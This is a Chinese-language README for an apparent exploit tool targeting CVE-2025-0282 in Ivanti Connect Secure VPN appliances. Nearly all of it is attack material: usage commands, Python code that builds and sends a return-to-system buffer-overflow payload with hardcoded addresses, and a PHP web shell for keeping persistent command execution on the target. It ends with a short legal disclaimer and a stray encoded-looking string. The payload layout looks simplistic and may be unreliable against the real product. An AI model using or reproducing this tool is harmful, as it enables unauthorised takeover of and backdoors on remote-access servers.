CVE-2025-0282 Ivanti Connect Secure 远程命令执行利用工具
本项目提供了一个针对 Ivanti Connect Secure 系统中 CVE-2025-0282 漏洞的完整利用工具。该漏洞是存在于 Ivanti Connect Secure 产品中的严重缓冲区溢出漏洞,允许攻击者在未授权的情况下实现远程命令执行(RCE),并可进一步上传 Web Shell 以获取持久化控制。
功能特性
- 远程命令执行:通过精心构造的缓冲区溢出载荷,在目标系统上执行任意系统命令
- Web Shell 上传:支持将 PHP Web Shell 上传至目标服务器,实现持久化后门控制
- HTTPS 支持:自动处理 SSL/TLS 加密连接,禁用证书验证以适配自签名证书场景
- 交互式命令控制:Web Shell 上传后支持通过 HTTP GET 参数实时执行系统命令
- 精确的内存地址利用 :针对目标系统架构预设了
system()函数地址及命令缓冲区地址
安装指南
系统要求
- Python 3.6 或更高版本
- 目标系统:Ivanti Connect Secure(存在 CVE-2025-0282 漏洞的版本)
依赖安装
本项目依赖以下 Python 库:
bash
pip install requests urllib3
下载项目
bash
git clone https://github.com/your-repo/CVE-2025-0282-Ivanti-exploit.git
cd CVE-2025-0282-Ivanti-exploit
使用说明
基本用法
上传 Web Shell
bash
python3 CVE_2025_0282_Ivanti.py <target_ip> <local_shell_path>
参数说明:
<target_ip>:目标 Ivanti 服务器的 IP 地址<local_shell_path>:本地 Web Shell 文件的路径(如shell.php)
执行远程命令(通过 Web Shell)
上传成功后,访问已上传的 Web Shell 即可执行命令:
bash
http://<target_ip>/shell.php?cmd=<command>
典型使用场景
场景 1:直接利用漏洞执行命令
工具会自动构造包含命令的缓冲区溢出载荷,通过 HTTPS POST 请求发送至 /dana-na/auth/url_default/welcome.cgi 端点,触发 RCE。
场景 2:上传持久化后门
将 shell.php 上传至目标服务器,之后可通过简单的 HTTP GET 请求持续执行系统命令。
核心代码解析
漏洞载荷生成
python
def create_exploit_payload(command, offset=500, system_address=0x0804a360, command_address=0x0804b008):
"""
构造缓冲区溢出利用载荷
:param command: 要执行的系统命令
:param offset: 缓冲区填充大小(触发溢出的偏移量)
:param system_address: system() 函数的内存地址
:param command_address: 命令字符串的存储地址
:return: 完整的攻击载荷(字节串)
"""
payload = b"A" * offset # 填充缓冲区至溢出点
payload += struct.pack("<I", system_address) # 覆盖返回地址为 system()
payload += b"BBBB" # system() 返回后的占位地址
payload += struct.pack("<I", command_address) # system() 的参数(命令地址)
payload += command.encode() # 实际要执行的命令字符串
return payload
HTTPS 载荷发送
python
def send_payload(target_ip, payload):
"""
通过 HTTPS 发送攻击载荷到漏洞端点
:param target_ip: 目标服务器 IP
:param payload: 攻击载荷字节串
:return: 服务器响应内容
"""
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE # 忽略证书验证错误
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
ssl_sock = context.wrap_socket(sock, server_hostname=target_ip)
ssl_sock.connect((target_ip, 443))
exploit_endpoint = "/dana-na/auth/url_default/welcome.cgi"
http_request = (
f"POST {exploit_endpoint} HTTP/1.1\r\n"
f"Host: {target_ip}\r\n"
f"Content-Length: {len(payload)}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"\r\n"
).encode() + payload
ssl_sock.send(http_request)
response = ssl_sock.recv(4096)
ssl_sock.close()
return response.decode(errors="replace")
Web Shell 后门代码
php
<?php
// 文件: shell.php
// 用途: 通过 cmd 参数执行任意系统命令
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
echo "<pre>" . shell_exec($cmd) . "</pre>";
} else {
echo "No command provided.";
}
?>
安全警告
⚠️ 本工具仅用于安全测试和教育目的。未经授权使用本工具攻击系统属于违法行为。使用者需遵守当地法律法规,并获得目标系统的明确授权后方可使用。 6HFtX5dABrKlqXeO5PUv/yZfAWEf+STWJ7aJRLg+r/OEKl16vQo/UDXVGt4+HWY+